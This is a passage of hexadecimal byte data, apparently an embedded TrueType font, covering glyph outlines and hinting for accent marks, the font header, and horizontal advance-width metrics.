- 0x2e,0x2d,0x2c,0x2b,0x2e,0x2e,0x2e,0x2e,0xb3,0x27,0x18,0x5,0x14,0x10,0xcd,0x10,
- 0xcd,0x0,0xb4,0x1,0x2b,0x2e,0x0,0x0,0x13,0x10,0xcd,0xcd,0x13,0xb1,0x20,0x1f,
- 0x2f,0x3c,0xb0,0x2,0x2f,0xb1,0xd,0xc,0x2f,0x3c,0xb1,0x2d,0x2c,0x2f,0x3c,0xb1,
- 0x35,0x34,0x2f,0x3c,0xb4,0x37,0x36,0x33,0x32,0x3,0x17,0x2f,0x3c,0xb1,0x2f,0x39,
- 0x2f,0x3c,0xb3,0x0,0x2a,0x29,0x2,0x10,0xdd,0x3c,0x3c,0xb5,0x3a,0x3c,0x31,0x30,
- 0x3,0x32,0x10,0x17,0xdd,0x3c,0x40,0xa,0x1b,0x1,0x25,0x23,0x21,0x1b,0x4,0x1f,
- 0x0,0x0,0x13,0x11,0x12,0x17,0x39,0x13,0x2f,0xb4,0x1,0x16,0x2,0x2,0x0,0x13,
- 0x11,0x12,0x39,0x13,0xb2,0x1,0xc,0x2,0x11,0x12,0x39,0xb4,0x1,0xb,0x1,0x0,
- 0xc,0x11,0x14,0x12,0x39,0x14,0xb3,0x3b,0x38,0x39,0x30,0x11,0x12,0x39,0x39,0xb1,
- 0x11,0x1,0x3f,0xb3,0x24,0x1b,0x8,0x11,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x35,
- 0x17,0x32,0x36,0x35,0x34,0x26,0x23,0x22,0x6,0x1d,0x1,0x23,0x35,0x34,0x36,0x33,
- 0x32,0x16,0x15,0x14,0x7,0x16,0x15,0x14,0x6,0x23,0x22,0x26,0x35,0x27,0x33,0x15,
- 0x14,0x33,0x17,0x37,0x36,0x35,0x34,0x2b,0x1,0x9,0x1,0x23,0x9,0x1,0x11,0x33,
- 0x15,0x23,0x15,0x23,0x35,0x21,0x35,0x1,0x13,0x11,0x1,0x1,0x45,0x28,0xae,0x4a,
- 0x40,0x97,0x8e,0x3c,0x69,0x77,0xbb,0xc1,0x7d,0x75,0x86,0x80,0xbf,0xce,0x82,0x1,
- 0x6c,0x7d,0x8c,0x5d,0x58,0xb3,0x52,0x4,0x98,0xfc,0x61,0x67,0x3,0x99,0x1,0x2a,
- 0x81,0x81,0x66,0xfe,0x16,0x1,0xb8,0x32,0xfe,0x7d,0x3,0x96,0x5d,0x1,0x26,0x59,
- 0x67,0x2c,0x2c,0x66,0x22,0x27,0x8d,0x59,0x53,0x80,0xad,0x17,0x16,0xa6,0x90,0x60,
- 0x59,0x8d,0x36,0x36,0x8b,0x2,0x7,0xe,0x87,0x87,0x1,0xbf,0xfa,0xab,0x5,0x55,
- 0xfd,0xde,0xfd,0xe3,0x5c,0xba,0xba,0x76,0x2,0x3,0xfd,0xe3,0x1,0xcc,0xfe,0x34,
- 0x0,0x0,0x2,0x0,0x0,0xfe,0xab,0x0,0x8c,0x5,0x55,0x0,0x3,0x0,0x7,0x0,
- 0x35,0xb1,0x0,0x3,0x2f,0x3c,0xb1,0x4,0x7,0x2f,0x3c,0xb2,0x2,0x1,0x3,0x10,
- 0xdd,0x3c,0xb2,0x6,0x5,0x7,0x10,0xdd,0x3c,0x0,0xb4,0x1,0x0,0x1,0x0,0x0,
- 0x13,0x10,0xcd,0xcd,0x13,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0x7,0x6,0x2f,0x3c,0xb1,
- 0x4,0x5,0x2f,0x3c,0x31,0x30,0x11,0x33,0x11,0x23,0x11,0x33,0x11,0x23,0x8c,0x8c,
- 0x8c,0x8c,0x5,0x55,0xfd,0x59,0xfe,0x8c,0xfd,0x71,0x0,0x0,0x2,0x1,0x69,0x5,
- 0xfa,0x3,0x75,0x6,0x7c,0x0,0x3,0x0,0x7,0x0,0x33,0xb1,0x3,0x2,0x2f,0x3c,
- 0xb1,0x4,0x5,0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0xb2,0x7,0x6,0x5,
- 0x10,0xdd,0x3c,0x0,0xb1,0x0,0x3,0x2f,0x3c,0xb1,0x4,0x7,0x2f,0x3c,0xb2,0x2,
- 0x1,0x3,0x10,0xdd,0x3c,0xb2,0x6,0x5,0x7,0x10,0xdd,0x3c,0x31,0x30,0x1,0x15,
- 0x23,0x35,0x21,0x15,0x23,0x35,0x2,0x3,0x9a,0x2,0xc,0x9a,0x6,0x7c,0x82,0x82,
- 0x82,0x82,0x0,0x0,0x1,0x2,0xe,0x5,0xc4,0x3,0x74,0x6,0xcd,0x0,0x3,0x0,
- 0x1b,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x0,0xb6,0x1,0x3,0x2,0x1,
- 0x0,0x1,0x0,0x13,0x10,0xc0,0xc0,0xc0,0xc0,0x13,0x31,0x30,0x1,0x17,0x5,0x27,
- 0x3,0x37,0x3d,0xfe,0xcc,0x32,0x6,0xcd,0x6f,0x9a,0x4f,0x0,0x1,0x1,0x6a,0x5,
- 0xc4,0x2,0xd0,0x6,0xcd,0x0,0x3,0x0,0x1b,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e,
- 0x2e,0x2e,0x0,0xb6,0x1,0x3,0x2,0x1,0x0,0x1,0x0,0x13,0x10,0xc0,0xc0,0xc0,
- 0xc0,0x13,0x31,0x30,0x1,0x5,0x7,0x25,0x1,0xa6,0x1,0x2a,0x32,0xfe,0xcc,0x6,
- 0xcd,0xba,0x4f,0x9a,0x0,0x0,0x1,0x1,0x32,0x5,0xc4,0x3,0xac,0x6,0xc7,0x0,
- 0x5,0x0,0x24,0xb5,0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,
- 0x0,0x40,0x9,0x1,0x5,0x4,0x3,0x2,0x1,0x0,0x1,0x0,0x13,0x10,0xc0,0xc0,
- 0xc0,0xc0,0xc0,0xc0,0x13,0x31,0x30,0x1,0x5,0x7,0x25,0x5,0x27,0x2,0x73,0x1,
- 0x39,0x2b,0xfe,0xf2,0xfe,0xe5,0x26,0x6,0xc7,0xb6,0x4d,0x7c,0x7c,0x4d,0x0,0x0,
- 0x1,0x1,0x48,0x5,0xe7,0x3,0xb1,0x6,0xa2,0x0,0x11,0x0,0x29,0xb3,0xa,0x9,
- 0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x0,0x40,0x9,0x1,0xc,0xa,0x9,0x3,0x1,0x0,
- 0x1,0x0,0x13,0x10,0xc0,0xc0,0xc4,0xc0,0xc0,0xc4,0x13,0xb3,0x10,0x3,0x7,0xc,
- 0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x17,0x6,0x23,0x22,0x27,0x26,0x23,0x22,0x7,
- 0x27,0x36,0x33,0x32,0x17,0x16,0x33,0x32,0x3,0x63,0x4e,0x54,0x68,0x2c,0x5e,0x54,
- 0x27,0x2d,0x29,0x52,0x4a,0x63,0x29,0x5f,0x5b,0x20,0x38,0x6,0xa2,0x33,0x88,0x29,
- 0x24,0x49,0x2e,0x88,0x27,0x26,0x0,0x0,0x2,0x1,0xd2,0x5,0xb5,0x3,0xc,0x6,
- 0xef,0x0,0x7,0x0,0xf,0x0,0x25,0xb1,0x6,0x2,0x2f,0x2f,0xb3,0xe,0x2,0xa,
- 0x6,0x10,0xcd,0x10,0xcd,0x0,0xb4,0x1,0x4,0x0,0x1,0x0,0x13,0x10,0xc4,0xc4,
- 0x13,0xb3,0xc,0x4,0x8,0x0,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x32,0x15,0x14,
- 0x23,0x22,0x35,0x34,0x17,0x22,0x15,0x14,0x33,0x32,0x35,0x34,0x2,0x6f,0x9d,0x9d,
- 0x9d,0x9d,0x59,0x59,0x59,0x6,0xef,0x9d,0x9d,0x9d,0x9d,0x48,0x55,0x55,0x55,0x55,
- 0x0,0x0,0x2,0x1,0x6,0x5,0xfa,0x3,0x12,0x6,0x7c,0x0,0x3,0x0,0x7,0x0,
- 0x33,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0x4,0x5,0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10,
- 0xdd,0x3c,0xb2,0x7,0x6,0x5,0x10,0xdd,0x3c,0x0,0xb1,0x0,0x3,0x2f,0x3c,0xb1,
- 0x4,0x7,0x2f,0x3c,0xb2,0x2,0x1,0x3,0x10,0xdd,0x3c,0xb2,0x6,0x5,0x7,0x10,
- 0xdd,0x3c,0x31,0x30,0x1,0x15,0x23,0x35,0x21,0x15,0x23,0x35,0x1,0xa0,0x9a,0x2,
- 0xc,0x9a,0x6,0x7c,0x82,0x82,0x82,0x82,0x0,0x0,0x1,0x1,0x8f,0x5,0xc4,0x2,
- 0xf5,0x6,0xcd,0x0,0x3,0x0,0x1b,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,
- 0x0,0xb6,0x1,0x3,0x2,0x1,0x0,0x1,0x0,0x13,0x10,0xc0,0xc0,0xc0,0xc0,0x13,
- 0x31,0x30,0x1,0x17,0x5,0x27,0x2,0xb9,0x3c,0xfe,0xcc,0x32,0x6,0xcd,0x6f,0x9a,
- 0x4f,0x0,0x1,0x1,0x30,0x5,0xc4,0x2,0x95,0x6,0xcd,0x0,0x3,0x0,0x1b,0xb3,
- 0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x0,0xb6,0x1,0x3,0x2,0x1,0x0,0x1,
- 0x0,0x13,0x10,0xc0,0xc0,0xc0,0xc0,0x13,0x31,0x30,0x1,0x5,0x7,0x25,0x1,0x6c,
- 0x1,0x29,0x32,0xfe,0xcd,0x6,0xcd,0xba,0x4f,0x9a,0x0,0x0,0x1,0x0,0xce,0x5,
- 0xc4,0x3,0x49,0x6,0xc7,0x0,0x5,0x0,0x24,0xb5,0x5,0x4,0x3,0x2,0x1,0x0,
- 0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,0x40,0x9,0x1,0x5,0x4,0x3,0x2,0x1,0x0,
- 0x1,0x0,0x13,0x10,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0x13,0x31,0x30,0x1,0x5,0x7,
- 0x25,0x5,0x27,0x2,0xf,0x1,0x3a,0x2b,0xfe,0xf1,0xfe,0xe5,0x26,0x6,0xc7,0xb6,
- 0x4d,0x7c,0x7c,0x4d,0x0,0x0,0x2,0x0,0x15,0x5,0xfa,0x1,0x8b,0x6,0x7c,0x0,
- 0x3,0x0,0x7,0x0,0x33,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0x4,0x5,0x2f,0x3c,0xb2,
- 0x0,0x1,0x2,0x10,0xdd,0x3c,0xb2,0x7,0x6,0x5,0x10,0xdd,0x3c,0x0,0xb1,0x0,
- 0x3,0x2f,0x3c,0xb1,0x4,0x7,0x2f,0x3c,0xb2,0x2,0x1,0x3,0x10,0xdd,0x3c,0xb2,
- 0x6,0x5,0x7,0x10,0xdd,0x3c,0x31,0x30,0x13,0x15,0x23,0x35,0x21,0x15,0x23,0x35,
- 0xaf,0x9a,0x1,0x76,0x9a,0x6,0x7c,0x82,0x82,0x82,0x82,0x0,0x1,0x0,0x6f,0x5,
- 0xc4,0x1,0xd5,0x6,0xcd,0x0,0x3,0x0,0x1b,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e,
- 0x2e,0x2e,0x0,0xb6,0x1,0x3,0x2,0x1,0x0,0x1,0x0,0x13,0x10,0xc0,0xc0,0xc0,
- 0xc0,0x13,0x31,0x30,0x1,0x17,0x5,0x27,0x1,0x98,0x3d,0xfe,0xcc,0x32,0x6,0xcd,
- 0x6f,0x9a,0x4f,0x0,0x1,0xff,0xcb,0x5,0xc4,0x1,0x31,0x6,0xcd,0x0,0x3,0x0,
- 0x1b,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x0,0xb6,0x1,0x3,0x2,0x1,
- 0x0,0x1,0x0,0x13,0x10,0xc0,0xc0,0xc0,0xc0,0x13,0x31,0x30,0x13,0x5,0x7,0x25,
- 0x7,0x1,0x2a,0x32,0xfe,0xcc,0x6,0xcd,0xba,0x4f,0x9a,0x0,0x1,0xff,0xae,0x5,
- 0xc4,0x1,0xf2,0x6,0xc7,0x0,0x5,0x0,0x24,0xb5,0x5,0x4,0x3,0x2,0x1,0x0,
- 0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,0x40,0x9,0x1,0x5,0x4,0x3,0x2,0x1,0x0,
- 0x1,0x0,0x13,0x10,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0x13,0x31,0x30,0x13,0x5,0x7,
- 0x27,0x5,0x27,0xd4,0x1,0x1e,0x2b,0xf3,0xff,0x0,0x26,0x6,0xc7,0xb6,0x4d,0x7c,
- 0x7c,0x4d,0x0,0x0,0x1,0x1,0xa2,0x5,0xe7,0x4,0xc,0x6,0xa2,0x0,0x11,0x0,
- 0x29,0xb3,0xa,0x9,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x0,0x40,0x9,0x1,0xc,0xa,
- 0x9,0x3,0x1,0x0,0x1,0x0,0x13,0x10,0xc0,0xc0,0xc4,0xc0,0xc0,0xc4,0x13,0xb3,
- 0x10,0x3,0x7,0xc,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x17,0x6,0x23,0x22,0x27,
- 0x26,0x23,0x22,0x7,0x27,0x36,0x33,0x32,0x17,0x16,0x33,0x32,0x3,0xbe,0x4e,0x54,
- 0x69,0x2c,0x5d,0x54,0x28,0x2d,0x28,0x53,0x4a,0x64,0x28,0x5f,0x5b,0x21,0x37,0x6,
- 0xa2,0x33,0x88,0x29,0x24,0x49,0x2e,0x88,0x27,0x26,0x0,0x0,0x2,0x1,0x6e,0x5,
- 0xfa,0x3,0x7a,0x6,0x7c,0x0,0x3,0x0,0x7,0x0,0x33,0xb1,0x3,0x2,0x2f,0x3c,
- 0xb1,0x4,0x5,0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0xb2,0x7,0x6,0x5,
- 0x10,0xdd,0x3c,0x0,0xb1,0x0,0x3,0x2f,0x3c,0xb1,0x4,0x7,0x2f,0x3c,0xb2,0x2,
- 0x1,0x3,0x10,0xdd,0x3c,0xb2,0x6,0x5,0x7,0x10,0xdd,0x3c,0x31,0x30,0x1,0x15,
- 0x23,0x35,0x21,0x15,0x23,0x35,0x2,0x8,0x9a,0x2,0xc,0x9a,0x6,0x7c,0x82,0x82,
- 0x82,0x82,0x0,0x0,0x1,0x1,0xf8,0x5,0xc4,0x3,0x5d,0x6,0xcd,0x0,0x3,0x0,
- 0x1b,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x0,0xb6,0x1,0x3,0x2,0x1,
- 0x0,0x1,0x0,0x13,0x10,0xc0,0xc0,0xc0,0xc0,0x13,0x31,0x30,0x1,0x17,0x5,0x27,
- 0x3,0x21,0x3c,0xfe,0xcc,0x31,0x6,0xcd,0x6f,0x9a,0x4f,0x0,0x1,0x1,0x98,0x5,
- 0xc4,0x2,0xfe,0x6,0xcd,0x0,0x3,0x0,0x1b,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e,
- 0x2e,0x2e,0x0,0xb6,0x1,0x3,0x2,0x1,0x0,0x1,0x0,0x13,0x10,0xc0,0xc0,0xc0,
- 0xc0,0x13,0x31,0x30,0x1,0x5,0x7,0x25,0x1,0xd4,0x1,0x2a,0x32,0xfe,0xcc,0x6,
- 0xcd,0xba,0x4f,0x9a,0x0,0x0,0x1,0x1,0x37,0x5,0xc4,0x3,0xb1,0x6,0xc7,0x0,
- 0x5,0x0,0x24,0xb5,0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,
- 0x0,0x40,0x9,0x1,0x5,0x4,0x3,0x2,0x1,0x0,0x1,0x0,0x13,0x10,0xc0,0xc0,
- 0xc0,0xc0,0xc0,0xc0,0x13,0x31,0x30,0x1,0x5,0x7,0x25,0x5,0x27,0x2,0x77,0x1,
- 0x3a,0x2b,0xfe,0xf1,0xfe,0xe6,0x26,0x6,0xc7,0xb6,0x4d,0x7c,0x7c,0x4d,0x0,0x0,
- 0x1,0x1,0x54,0x5,0xe7,0x3,0xbe,0x6,0xa2,0x0,0x11,0x0,0x29,0xb3,0xa,0x9,
- 0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x0,0x40,0x9,0x1,0xc,0xa,0x9,0x3,0x1,0x0,
- 0x1,0x0,0x13,0x10,0xc0,0xc0,0xc4,0xc0,0xc0,0xc4,0x13,0xb3,0x10,0x3,0x7,0xc,
- 0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x17,0x6,0x23,0x22,0x27,0x26,0x23,0x22,0x7,
- 0x27,0x36,0x33,0x32,0x17,0x16,0x33,0x32,0x3,0x70,0x4e,0x54,0x68,0x2c,0x5e,0x54,
- 0x28,0x2c,0x29,0x53,0x4b,0x63,0x29,0x5e,0x5c,0x20,0x38,0x6,0xa2,0x33,0x88,0x29,
- 0x24,0x49,0x2e,0x88,0x27,0x26,0x0,0x0,0x1,0x1,0x0,0x5,0xc4,0x3,0x7b,0x6,
- 0xc7,0x0,0x5,0x0,0x24,0xb5,0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,
- 0x2e,0x2e,0x0,0x40,0x9,0x1,0x5,0x4,0x3,0x2,0x1,0x0,0x1,0x0,0x13,0x10,
- 0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0x13,0x31,0x30,0x1,0x25,0x37,0x5,0x25,0x17,0x2,
- 0x41,0xfe,0xbf,0x26,0x1,0x1b,0x1,0xf,0x2b,0x5,0xc4,0xb6,0x4d,0x7c,0x7c,0x4d,
- 0x0,0xff,0xff,0x0,0x3d,0xff,0xf2,0x4,0x43,0x6,0xc7,0x0,0x36,0x0,0x17,0x0,
- 0x0,0x0,0x16,0x1,0x1,0x0,0x0,0x0,0x2,0x1,0x99,0x5,0xfa,0x3,0xa5,0x6,
- 0x7c,0x0,0x3,0x0,0x7,0x0,0x33,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0x4,0x5,0x2f,
- 0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0xb2,0x7,0x6,0x5,0x10,0xdd,0x3c,0x0,
- 0xb1,0x0,0x3,0x2f,0x3c,0xb1,0x4,0x7,0x2f,0x3c,0xb2,0x2,0x1,0x3,0x10,0xdd,
- 0x3c,0xb2,0x6,0x5,0x7,0x10,0xdd,0x3c,0x31,0x30,0x1,0x15,0x23,0x35,0x21,0x15,
- 0x23,0x35,0x2,0x33,0x9a,0x2,0xc,0x9a,0x6,0x7c,0x82,0x82,0x82,0x82,0x0,0x0,
- 0x1,0x2,0x23,0x5,0xc4,0x3,0x88,0x6,0xcd,0x0,0x3,0x0,0x1b,0xb3,0x3,0x2,
- 0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x0,0xb6,0x1,0x3,0x2,0x1,0x0,0x1,0x0,0x13,
- 0x10,0xc0,0xc0,0xc0,0xc0,0x13,0x31,0x30,0x1,0x17,0x5,0x27,0x3,0x4c,0x3c,0xfe,
- 0xcd,0x32,0x6,0xcd,0x6f,0x9a,0x4f,0x0,0x1,0x1,0xc3,0x5,0xc4,0x3,0x29,0x6,
- 0xcd,0x0,0x3,0x0,0x1b,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x0,0xb6,
- 0x1,0x3,0x2,0x1,0x0,0x1,0x0,0x13,0x10,0xc0,0xc0,0xc0,0xc0,0x13,0x31,0x30,
- 0x1,0x5,0x7,0x25,0x1,0xff,0x1,0x2a,0x32,0xfe,0xcc,0x6,0xcd,0xba,0x4f,0x9a,
- 0x0,0x0,0x1,0x1,0x62,0x5,0xc4,0x3,0xdc,0x6,0xc7,0x0,0x5,0x0,0x24,0xb5,
- 0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,0x40,0x9,0x1,
- 0x5,0x4,0x3,0x2,0x1,0x0,0x1,0x0,0x13,0x10,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,
- 0x13,0x31,0x30,0x1,0x5,0x7,0x25,0x5,0x27,0x2,0xa3,0x1,0x39,0x2b,0xfe,0xf2,
- 0xfe,0xe5,0x26,0x6,0xc7,0xb6,0x4d,0x7c,0x7c,0x4d,0x0,0x0,0x1,0x1,0xdf,0x5,
- 0xc4,0x3,0x45,0x6,0xcd,0x0,0x3,0x0,0x1b,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e,
- 0x2e,0x2e,0x0,0xb6,0x1,0x3,0x2,0x1,0x0,0x1,0x0,0x13,0x10,0xc0,0xc0,0xc0,
- 0xc0,0x13,0x31,0x30,0x1,0x17,0x5,0x27,0x3,0x8,0x3d,0xfe,0xcc,0x32,0x6,0xcd,
- 0x6f,0x9a,0x4f,0xff,0xff,0xff,0xf6,0x0,0x0,0x4,0x8b,0x6,0xcd,0x0,0x36,0x0,
- 0x1d,0x0,0x0,0x0,0x16,0x1,0x7,0x0,0x0,0x0,0x2,0x1,0x3a,0x5,0xfa,0x3,
- 0x46,0x6,0x7c,0x0,0x3,0x0,0x7,0x0,0x33,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0x4,
- 0x5,0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0xb2,0x7,0x6,0x5,0x10,0xdd,
- 0x3c,0x0,0xb1,0x0,0x3,0x2f,0x3c,0xb1,0x4,0x7,0x2f,0x3c,0xb2,0x2,0x1,0x3,
- 0x10,0xdd,0x3c,0xb2,0x6,0x5,0x7,0x10,0xdd,0x3c,0x31,0x30,0x1,0x15,0x23,0x35,
- 0x21,0x15,0x23,0x35,0x1,0xd4,0x9a,0x2,0xc,0x9a,0x6,0x7c,0x82,0x82,0x82,0x82,
- 0x0,0x0,0x2,0x0,0x58,0xff,0xf2,0x3,0x8b,0x3,0xca,0x0,0x1c,0x0,0x27,0x0,
- 0x60,0xb1,0x8,0x7,0x2f,0x3c,0xb3,0x16,0x15,0x9,0x7,0x10,0xdd,0x3c,0x3c,0xb5,
- 0x1b,0x14,0xf,0x1,0x0,0x9,0x10,0xc0,0xc0,0xc4,0xc0,0xc4,0xb6,0x25,0x25,0xb,
- 0xa,0x3,0x7,0x9,0x11,0x12,0x17,0x39,0x2f,0xb1,0x20,0xf,0x10,0xcd,0x0,0xb1,
- 0x9,0x8,0x2f,0x3c,0xb1,0x0,0x1,0x2f,0x3c,0x40,0xb,0x12,0x16,0x15,0x14,0x12,
- 0xb,0xa,0x7,0x7,0x1,0x8,0x11,0x12,0x17,0x39,0x2f,0xb3,0xd,0x0,0x4,0x2,
- 0x3f,0x3f,0xb5,0x23,0xd,0x1d,0x12,0x19,0x4,0x10,0xcd,0x10,0xcd,0x10,0xcd,0x31,
- 0x30,0x1,0x23,0x34,0x36,0x33,0x32,0x16,0x15,0x11,0x23,0x37,0x27,0x6,0x23,0x20,
- 0x11,0x34,0x36,0x33,0x32,0x17,0x37,0x35,0x34,0x26,0x23,0x20,0x15,0x14,0x17,0x22,
- 0x6,0x15,0x14,0x16,0x33,0x20,0x35,0x34,0x26,0x1,0xc,0x8b,0x97,0xdc,0xef,0xa8,
- 0x8c,0xb,0x3,0x50,0xf5,0xfe,0x96,0xa2,0xd4,0xfc,0x32,0x3,0x5a,0x98,0xfe,0xfe,
- 0xe2,0xa1,0x61,0x61,0x9e,0x1,0x1c,0x73,0x2,0xb0,0xa7,0x73,0x8d,0xc6,0xfd,0x89,
- 0x67,0x1,0x76,0x1,0x23,0xad,0x84,0x63,0x1,0x74,0xa4,0x61,0x91,0x7,0xf3,0x43,
- 0x6e,0x73,0x48,0xb0,0x6f,0x4d,0x0,0x0,0x2,0xff,0xf0,0x4,0x66,0x1,0x92,0x4,
- 0xe8,0x0,0x3,0x0,0x7,0x0,0x33,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0x4,0x5,0x2f,
- 0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0xb2,0x7,0x6,0x5,0x10,0xdd,0x3c,0x0,
- 0xb1,0x0,0x3,0x2f,0x3c,0xb1,0x4,0x7,0x2f,0x3c,0xb2,0x2,0x1,0x3,0x10,0xdd,
- 0x3c,0xb2,0x6,0x5,0x7,0x10,0xdd,0x3c,0x31,0x30,0x13,0x15,0x23,0x35,0x21,0x15,
- 0x23,0x35,0x8a,0x9a,0x1,0xa2,0x9a,0x4,0xe8,0x82,0x82,0x82,0x82,0xff,0xff,0x0,
- 0x4f,0xff,0xf2,0x3,0x7c,0x5,0x49,0x0,0x36,0x0,0x35,0x0,0x0,0x0,0x16,0x0,
- 0x8f,0xe5,0x0,0xff,0xff,0xff,0xf9,0xfe,0x53,0x3,0x22,0x5,0x47,0x0,0x36,0x0,
- 0x3b,0x0,0x0,0x0,0x16,0x0,0x8c,0xa9,0x0,0x0,0x0,0x0,0x1,0x0,0x0,0x0,
- 0x1,0x0,0x0,0xcd,0x8a,0x8e,0xe4,0x5f,0xf,0x3c,0xf5,0x0,0xb,0x8,0x0,0x0,
- 0x0,0x0,0x0,0xa6,0xe8,0xcd,0xc6,0x0,0x0,0x0,0x0,0xa7,0x95,0x67,0x76,0xfe,
- 0x86,0xfe,0x0,0x8,0xfb,0x6,0xef,0x0,0x0,0x0,0x9,0x0,0x2,0x0,0x0,0x0,
- 0x0,0x0,0x0,0x0,0x1,0x0,0x0,0x6,0x66,0xfe,0x66,0x0,0x0,0x9,0x21,0xfe,
- 0x86,0xfe,0x85,0x8,0xfb,0x0,0x1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,
- 0x0,0x0,0x0,0x0,0x0,0x1,0xe,0x2,0xaa,0x0,0x44,0x0,0x0,0x0,0x0,0x2,
- 0xaa,0x0,0x0,0x2,0x0,0x0,0x0,0x2,0x0,0x0,0x0,0x4,0xde,0x0,0xa,0x4,
- 0xf0,0x0,0x82,0x4,0xc6,0x0,0x4c,0x5,0x3a,0x0,0x82,0x3,0xfc,0x0,0x4b,0x3,
- 0xe9,0x0,0x82,0x4,0xf4,0x0,0x4b,0x5,0x55,0x0,0x82,0x1,0xa1,0x0,0x82,0x4,
- 0x4,0x0,0x35,0x4,0xd3,0x0,0x82,0x3,0xe1,0x0,0x82,0x6,0xdd,0x0,0x82,0x5,
- 0x92,0x0,0x82,0x4,0xe8,0x0,0x2f,0x4,0xb8,0x0,0x82,0x5,0x3e,0x0,0x30,0x4,
- 0xfc,0x0,0x82,0x4,0x7a,0x0,0x3d,0x4,0x1e,0x0,0x7,0x5,0x3d,0x0,0x83,0x4,
- 0x93,0xff,0xf6,0x7,0xfd,0x0,0x3,0x4,0xa6,0xff,0xf6,0x4,0x80,0xff,0xf6,0x4,
- 0x89,0x0,0x30,0x7,0x6e,0xff,0xf7,0x7,0xe4,0x0,0x4c,0x5,0x9,0x0,0x14,0x4,
- 0xc6,0x0,0x4c,0x4,0x14,0x0,0x59,0x4,0x17,0x0,0x7b,0x3,0xe1,0x0,0x5f,0x4,
- 0x15,0x0,0x61,0x4,0x5,0x0,0x5f,0x2,0x1f,0x0,0xe,0x4,0x15,0x0,0x60,0x4,
- 0x1d,0x0,0x7b,0x1,0x81,0x0,0x7b,0x1,0x7d,0xff,0xf6,0x3,0x71,0x0,0x7b,0x1,
- 0x82,0x0,0x7b,0x6,0x9b,0x0,0x7b,0x4,0x20,0x0,0x7b,0x4,0xc,0x0,0x60,0x4,
- 0x15,0x0,0x7b,0x4,0x14,0x0,0x60,0x3,0x30,0x0,0x89,0x3,0xca,0x0,0x4f,0x2,
- 0x9b,0xff,0xf6,0x4,0xf,0x0,0x7b,0x3,0x38,0xff,0xf9,0x5,0x5d,0x0,0x7,0x3,
- 0x3b,0xff,0xf9,0x3,0x1c,0xff,0xf9,0x3,0x3a,0x0,0x2c,0x6,0xa1,0x0,0x59,0x6,
- 0xb2,0x0,0x5f,0x4,0xd,0x0,0x3b,0x4,0x31,0x0,0x82,0x1,0x81,0x0,0x7b,0x3,
- 0xa7,0x0,0xe,0x3,0xa7,0x0,0xe,0x3,0xe1,0x0,0x5f,0x4,0xe9,0x0,0xd2,0x4,
- 0xe8,0x0,0x6f,0x4,0xe8,0x0,0x69,0x4,0xe8,0x0,0x36,0x4,0xe8,0x0,0x85,0x4,
- 0xe7,0x0,0x63,0x4,0xe8,0x0,0x62,0x4,0xe9,0x0,0x68,0x4,0xe9,0x0,0x65,0x4,
- 0xe8,0x0,0x5d,0x4,0xe9,0x0,0x5f,0x4,0xe9,0x0,0x37,0x4,0xe7,0x0,0xb7,0x4,
- 0xe8,0x0,0x92,0x4,0xe9,0x0,0x45,0x1,0x90,0x0,0x7b,0x1,0x90,0x0,0x7b,0x1,
- 0x90,0x0,0x7b,0x4,0xc7,0x0,0x7b,0x1,0x96,0x0,0x6d,0x1,0x6d,0x0,0x44,0x1,
- 0x6e,0x0,0x56,0x2,0x8d,0x0,0x62,0x2,0x8d,0x0,0x56,0x2,0x8d,0x0,0x62,0x1,
- 0xeb,0x0,0xa0,0x1,0xeb,0x0,0xa2,0x4,0x28,0x0,0x6d,0x4,0x28,0x0,0x66,0x3,
- 0x93,0x0,0x66,0x3,0x93,0x0,0x66,0x2,0x42,0x0,0x66,0x2,0x42,0x0,0x66,0x5,
- 0x2b,0xff,0x78,0x1,0xa9,0x0,0x0,0x4,0xe8,0x0,0xe3,0x5,0x89,0x0,0x0,0x2,
- 0x38,0x0,0x67,0x2,0x38,0x0,0x66,0x2,0x37,0x0,0x71,0x2,0x37,0x0,0x69,0x5,
